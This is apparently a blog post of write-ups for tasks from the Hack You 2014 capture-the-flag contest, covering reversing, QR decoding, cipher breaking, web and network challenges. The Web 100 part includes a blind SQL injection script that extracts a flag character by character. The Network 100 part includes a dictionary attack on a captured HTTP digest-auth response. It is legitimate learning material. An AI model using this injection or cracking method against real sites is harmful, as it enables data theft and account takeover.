Wednesday, January 15, 2014

Hack You 2014 Writeups

Today finished Hack you 2014 – individual computer security competition by guys from Leet More and Hardc0de CTF teams. Thank you guys for your interesting tasks.
Now it's time for writeups.

Reverse 100 – NotEasyTask
We have a .NET program. After decompiling with ILSpy, we need to listen host "127.0.0.1", i.e. localhost on port 31337 for our key :)
private static void Main(string[] args)
{
 string hostname = "127.0.0.1";
 int port = 31337;
 TcpClient tcpClient = new TcpClient();
 try
 {
  Console.WriteLine("Connecting...");
  tcpClient.Connect(hostname, port);
 }
 catch (Exception)
 {
  Console.WriteLine("Cannot connect!\nFail!");
  return;
 }
 Socket client = tcpClient.Client;
 string text = "Super Secret Key";
 string text2 = Program.read();
 client.Send(Encoding.ASCII.GetBytes("CTF{"));
 string text3 = text;
 for (int i = 0; i < text3.Length; i++)
 {
  char x = text3[i];
  client.Send(Encoding.ASCII.GetBytes(Program.search(x, text2)));
 }
 client.Send(Encoding.ASCII.GetBytes("}"));
 client.Close();
 tcpClient.Close();
 Console.WriteLine("Success!");
}
So use simple python server to listen for our key:
import BaseHTTPServer
server_address = ('127.0.0.1', 31337)
handler_class = BaseHTTPServer.BaseHTTPRequestHandler
httpd = BaseHTTPServer.HTTPServer(server_address, handler_class)
httpd.serve_forever()
After executing reverse100.exe, our python server will receive the key:
CTF{7eb67b0bb4427e0b43b40b6042670b55}

PPC 100 – Trash
Archive with QR-codes images was given for first PPC task.  It was needed to save all these chunks of decoded data into a single file. Using zbar python module for decoding QR codes I easily got the resulting file – zip archive with one more archive inside 92b57ac641cf0c84588b494de3ca0fbd.zip (I figured it out due to its binary content), but unfortunately something was wrong with resulting archive – it was corrupted. After some time, I came up with that the problem can be related to encoding. I tried to use the ISO-8859-1 encoding for data and it worked.
#!/usr/bin/python
#-*- coding: utf8 -*-

import zbar
import Image

def decode_qr_from_image(image_path):
 scanner = zbar.ImageScanner()
 image = Image.open(image_path).convert('L')
 width, height = image.size
 raw = image.tostring()
 zbar_image = zbar.Image(width, height, 'Y800', raw)
 scanner.scan(zbar_image)
 data = ''
 for symbol in zbar_image.symbols:
  if 'QRCODE' in str(symbol.type):
   data = symbol.data
 return data.decode('utf')

def combine_decoded_qr_codes():
 data = ''
 for i in xrange(1, 174):
  decoded_data = decode_qr_from_image('/hackyou2014/tasks/ppc100/%03d.png' % i)
  data += decoded_data[9:] # cut PART
 with open('123.zip', 'wb') as f:
  f.write(data.encode('ISO-8859-1'))
Inside this resulting archive was a lot of nested archives, and inside the last nesting archive was file data.pkl. From the name it is obvious that it's a serialized (pickled) Python objects data.
After unpickling the file using the next code: 
import sys
import pickle 
data = ''
with open('data.pkl', 'r') as f:
 data = pickle.load(f) 

for d in data:
 for v in d:
  sys.stdout.write(v[0] * int(v[1]))
 sys.stdout.write('\n')
And then after printing each item from unpickled data, we get an ascii-styled flag:


Crypto 100 – Easy one
Need to break a cipher and decrypt msg002.enc
We have unencrypted file msg001, encrypted files msg001.enc, msg002.enc, and a source code of encryptor:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
 if (argc != 3) {
  printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
  return 0;
 }
 FILE* input  = fopen(argv[1], "rb");
 FILE* output = fopen(argv[2], "wb");
 if (!input || !output) {
  printf("Error\n");
  return 0;
 }
 char k[] = "CENSORED";
 char c, p, t = 0;
 int i = 0;
 while ((p = fgetc(input)) != EOF) {
  c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
  t = p;
  i++;
  fputc(c, output);
 }
 return 0;
} 
Firstly need to recover the key used for encryption.
So using the next python code with encrypor function ported from C-code, it's simple to recover a key.
#!/usr/bin/python
#-*- coding: utf8 -*-

import string

def encoder(input_data, key):
 k = key
 c = p = t = 0
 i = 0
 res = ''
 for p in input_data:
  c = (ord(p) + (ord(k[i % len(k)]) ^ t) + i * i) & 0xff
  t = ord(p)
  i += 1
  res += chr(c)
 return res

def find_key(input_data, need_out_data):
 key = ''
 for i in xrange(1,len(need_out_data)):
  n = need_out_data[0:i]
  for alpha in string.letters:   
   if encoder(input_data, key + alpha)[0:i] == n:
    key += alpha
    break
 return key

with open('msg001','rb') as f0:
 data = f0.read()

with open('msg001.enc','rb') as f1:
 data_enc = f1.read()

key = find_key(data, data_enc)
print key
After the execution, we got the encryption key: VeryLongKeyYouWillNeverGuess
Now just need to find original text message.
Using the next function for brute original message:
def find_original_message(key, out_data):
 message = ''
 for i in xrange(1,len(out_data)):
  o = out_data[0:i]
  for alpha in [chr(c) for c in xrange(0, 255)]:
   if encoder(message + alpha, key)[0:i] == o:
    message += alpha
    break
 return message

with open('msg002.enc','rb') as f2:
 data_enc2 = f2.read()

print find_original_message('VeryLongKeyYouWillNeverGuess', data_enc2)
We'll get the next text, with a flag:
The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has samples of both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation.
The flag is CTF{6d5eba48508efb13dc87220879306619}

Web 100 – Voting
I've solved this task using only hex-encoded injection in ID. Lost a lot of time for brute-forcing and reading character by character table name, columns and flag. :(
def get_flag():
 flag = ''
 for i in xrange(1,38):
  client = http_client()
  url = 'http://hackyou2014tasks.ctf.su:10080'
  for letter in '{}0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ':
   query = '(SELECT 100+(SELECT SUBSTR(flag,%s,1)="%s" FROM task.Flag LIMIT 1))' % (i, letter)
   post_data = {
    'id':'0x' + str_to_hexstr(query),
    'vote':'5',
    'submit':'Submit'
   }
   response = client.request(url + '/index.php', post_data)
   if TRUE_RESPONSE in response:
    flag += letter
    break
 return flag
Flag is: CTF{820178c33c03aaa7cfe644c691679cf8}

Network 100 – PCAP
We have a pcap file. After analyzing the requests and responses from pcap file it became clear that digest access authentication was used on the site.
After reading how digest access authentication works I've used the next code to crack password using dictionary file with passwords.
def brute_password(passwd):
 username = 'admin'
 realm = 'Private Area'
 password = passwd
 nonce = '1389094144'
 httpMethod = 'GET'
 requestedUri = '/auth.php'
 nonceCount = '00000001'
 clientNonce = '347278e387a2f030'
 qop = 'auth'
 user_data = md5.md5(username + ':' + realm + ':' + password).hexdigest()
 request_data = md5.md5(httpMethod + ':' + requestedUri).hexdigest()
 response = md5.md5(user_data + ':' + nonce + ':'+ nonceCount + ':'+ clientNonce + ':' + qop + ':' + request_data).hexdigest()
 if response == 'f86930f9e0466aeced34036bc2f7a346':
  return password
 return ''

password_list = []
with open('passwords.txt','r') as f:
 password_list = f.read().split('\n')

for p in password_list:
 res_password = brute_password(p)
 if res_password:
  print res_password
  break
Password cowboy123 has been successfully found.
After logging in the site with username admin and found password, we got the flag:
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}

Reverse 200 – Newbie calculations
Given a file, that will calculate a flag for you, but you have to wait.
After analyzing disassembled code I understood that to calculate and get a flag some slow functions with loops are used. These three functions performing the basic arithmetic operations of addition, subtraction and multiplication of two numbers. So I've optimized them.
As a result, I got the next code to calculate a flag:
// all flag chars are set to 1
for ( i = 0; i < 32; ++i )
  flag_chars[i] = 1;

flag_chars[32] = 0; // null terminator

print_text("Your flag is:");

var0 = mul_ab(flag_chars, 1000000000);
var1 = sub_ab(var0, 999999950);
mul_ab(var1, 2);
// 100 = d

var2 = add_ab(&flag_chars[1], 5000000);           
var3 = sub_ab(var2, 6666666);             
var4 = add_ab(var3, 1666666);
var5 = add_ab(var4, 45);
var6 = mul_ab(var5, 2);
add_ab(var6, 5);
// 97 = a

var7 = mul_ab(&flag_chars[2], 1000000000);
var8 = sub_ab(var7, 999999950);
var9 = mul_ab(var8, 2);
add_ab(var9, 2);
// 102 = f

var10 = add_ab(&flag_chars[3], 55);
var11 = sub_ab(var10, 3);
var12 = add_ab(var11, 4);
sub_ab(var12, 1);
// 56 = 8

var13 = mul_ab(&flag_chars[4], 100000000);
var14 = sub_ab(var13, 99999950);
var15 = mul_ab(var14, 2);
add_ab(var15, 2);
// 102 = f

var16 = sub_ab(&flag_chars[5], 1);
var17 = mul_ab(var16, 1000000000);
var18 = add_ab(var17, 55);
sub_ab(var18, 3);
// 52 = 4

var19 = mul_ab(&flag_chars[6], 1000000);
var20 = sub_ab(var19, 999975);
mul_ab(var20, 4);
// 100 = d

var21 = add_ab(&flag_chars[7], 55);
var22 = sub_ab(var21, 33);
var23 = add_ab(var22, 44);
sub_ab(var23, 11);
// 56 = 8

var24 = mul_ab(&flag_chars[8], 10);
var25 = sub_ab(var24, 5);
var26 = mul_ab(var25, 8);
add_ab(var26, 9);
// 49 = 1

var27 = add_ab(&flag_chars[9], 0);
var28 = sub_ab(var27, 0);
var29 = add_ab(var28, 11);
var30 = sub_ab(var29, 11);
add_ab(var30, 53);
// 54 = 6

var31 = add_ab(&flag_chars[10], 49);
var32 = sub_ab(var31, 2);
var33 = add_ab(var32, 4);
sub_ab(var33, 2);
// 50 = 2

var34 = mul_ab(&flag_chars[11], 1000000);
var35 = sub_ab(var34, 999999);
var36 = mul_ab(var35, 4);
add_ab(var36, 50);
// 54 = 6

var37 = add_ab(&flag_chars[12], 1);
var38 = add_ab(var37, 1);
var39 = add_ab(var38, 1);
var40 = add_ab(var39, 1);
var41 = add_ab(var40, 1);
var42 = add_ab(var41, 1);
var43 = add_ab(var42, 10);
add_ab(var43, 32);
// 49 = 1

var44 = mul_ab(&flag_chars[13], 10);
var45 = sub_ab(var44, 5);
var46 = mul_ab(var45, 8);
var47 = add_ab(var46, 9);
add_ab(var47, 48);
// 97 = a

var48 = sub_ab(&flag_chars[14], 1);
var49 = mul_ab(var48, 4000000000);
var50 = add_ab(var49, 55);
sub_ab(var50, 3);
// 52 = 4

var51 = add_ab(&flag_chars[15], 1);
var52 = add_ab(var51, 2);
var53 = add_ab(var52, 3);
var54 = add_ab(var53, 4);
var55 = add_ab(var54, 5);
var56 = add_ab(var55, 6);
var57 = add_ab(var56, 7);
add_ab(var57, 20);
// 49 = 1

var58 = mul_ab(&flag_chars[16], 10);
var59 = sub_ab(var58, 5);
var60 = mul_ab(var59, 8);
var61 = add_ab(var60, 9);
add_ab(var61, 48);
// 97 = a

var62 = add_ab(&flag_chars[17], 7);
var63 = add_ab(var62, 6);
var64 = add_ab(var63, 5);
var65 = add_ab(var64, 4);
var66 = add_ab(var65, 3);
var67 = add_ab(var66, 2);
var68 = add_ab(var67, 1);
add_ab(var68, 20);
// 49 = 1

var69 = add_ab(&flag_chars[18], 7);
var70 = add_ab(var69, 2);
var71 = add_ab(var70, 4);
var72 = add_ab(var71, 3);
var73 = add_ab(var72, 6);
var74 = add_ab(var73, 5);
var75 = add_ab(var74, 1);
add_ab(var75, 20);
// 49 = 1

var76 = mul_ab(&flag_chars[19], 1000000);
var77 = sub_ab(var76, 999999);
var78 = mul_ab(var77, 4);
var79 = add_ab(var78, 50);
sub_ab(var79, 1);
// 53 = 5

var80 = sub_ab(&flag_chars[20], 1);
var81 = mul_ab(var80, -294967296);
var82 = add_ab(var81, 49);
sub_ab(var82, 1);
// 48 = 0

var83 = sub_ab(&flag_chars[21], 1);
var84 = mul_ab(var83, 1000000000);
var85 = add_ab(var84, 54);
var86 = sub_ab(var85, 1);
var87 = add_ab(var86, 1000000000);
sub_ab(var87, 1000000000);
// 53 = 5

var88 = add_ab(&flag_chars[22], 49);
var89 = sub_ab(var88, 1);
var90 = add_ab(var89, 2);
sub_ab(var90, 1);
// 50 = 2

var91 = mul_ab(&flag_chars[23], 10);
var92 = sub_ab(var91, 5);
var93 = mul_ab(var92, 8);
var94 = add_ab(var93, 9);
add_ab(var94, 48);
// 97 = a

var95 = add_ab(&flag_chars[24], 1);
var96 = add_ab(var95, 3);
var97 = add_ab(var96, 3);
var98 = add_ab(var97, 3);
var99 = add_ab(var98, 6);
var100 = add_ab(var99, 6);
var101 = add_ab(var100, 6);
add_ab(var101, 20);
// 49 = 1

var102 = add_ab(&flag_chars[25], 55);
var103 = sub_ab(var102, 33);
var104 = add_ab(var103, 44);
var105 = sub_ab(var104, 11);
add_ab(var105, 42);
// 98 = b

add_ab(&flag_chars[26], flag_chars[25]); // flag_chars[25] = 98
// 99 = c

add_ab(&flag_chars[27], flag_chars[12]); // flag_chars[12] = 49
// 50 = 2

var106 = flag_chars[27]; // 50
var107 = sub_ab(&flag_chars[28], 1);
var108 = add_ab(var107, var106);
sub_ab(var108, 1);
// 49 = 1

var109 = flag_chars[23]; // 97
var110 = sub_ab(&flag_chars[29], 1);
var111 = mul_ab(var110, 1000000);
add_ab(var111, var109);
// 97 = a

var112 = flag_chars[27]; // 50
var113 = add_ab(&flag_chars[30], 1);
mul_ab(var113, var112);
// 100 = d

add_ab(&flag_chars[31], flag_chars[30]); // flag_chars[30] = 100
// 101 = e

print_func("CTF{");

for ( j = 0; j < 32; ++j )
  print_func("%c"); // print flag 

print_func("}\n");
The flag for this task is:
CTF{daf8f4d816261a41a115052a1bc21ade}

Crypto 300 – Matrix
Do you like math?
Need to decrypt flag.wmv.out file. Encryptor file is provided.
Firstly need to get a key.
Knowing the signature of WMV file (ASF magic number): 30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C and its encrypted equivalent from flag.wmv.out it's not hard to recover the key used for encryption.
Using the next formulas:
encoded_header_matrix = original_header_matrix ⋅ key_matrix
key_matrix = original_header_matrix-1 ⋅ encoded_header_matrix

we'll get the next code to find a key:
import numpy as np

data = ''
with open(filename, 'rb') as f:
 data = f.read()
length = unpack('!I', data[0:4])

encoded_header_words = [unpack('!H', data[i:i+2])[0] for i in xrange(4, 4 + 32, 2)]
encoded_header_matrix = [encoded_header_words[i:i+4] for i in xrange(0, 16, 4)]
print 'encoded_header_matrix =', encoded_header_matrix

wmv_magic_numbers = '30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C'
original_header_matrix = Str2matrix(wmv_magic_numbers.replace(' ', '').decode('hex'))
print 'original_header_matrix =', original_header_matrix

print 'key_matrix = ', np.dot(np.matrix(original_header_matrix).I, np.matrix(encoded_header_matrix))
key = [31, 51, 20, 0, 53, 10, 6, 45, 3, 13, 3, 49, 17, 48, 56, 31]
After that we can recover original data.
According to a formula:
original_data_matrix = encoded_data_matrix ⋅ key_matrix-1

the code for recovering original wmv file is:
def data_to_matrix(data, offset):
 data_words = [unpack('!H', data[i:i+2])[0] for i in xrange(4 + 32 * offset, 4 + 32 * offset + 32, 2)]
 matrix = [data_words[i:i+4]  for i in xrange(0, 16, 4)]
 return matrix

original_data = ''
length_value = length[0]
print length_value
for i in xrange(0, length_value / 16):
 original_data_matrix = np.dot(np.matrix(data_to_matrix(data, i)), np.matrix(key_matrix).I)
 out_data = ''.join([chr(int(c)) for c in np.array(np.rint(original_data_matrix)).reshape(-1)])
 original_data += out_data    

with open(filename + '.dec.wmv', 'wb') as f:
 f.write(original_data)
After successful recovering I've got a video with a flag. Here is a snapshot:
Yeah :)
The flag: CTF{b699a72e2692d16f65ec9626055aa740}

No comments:

Post a Comment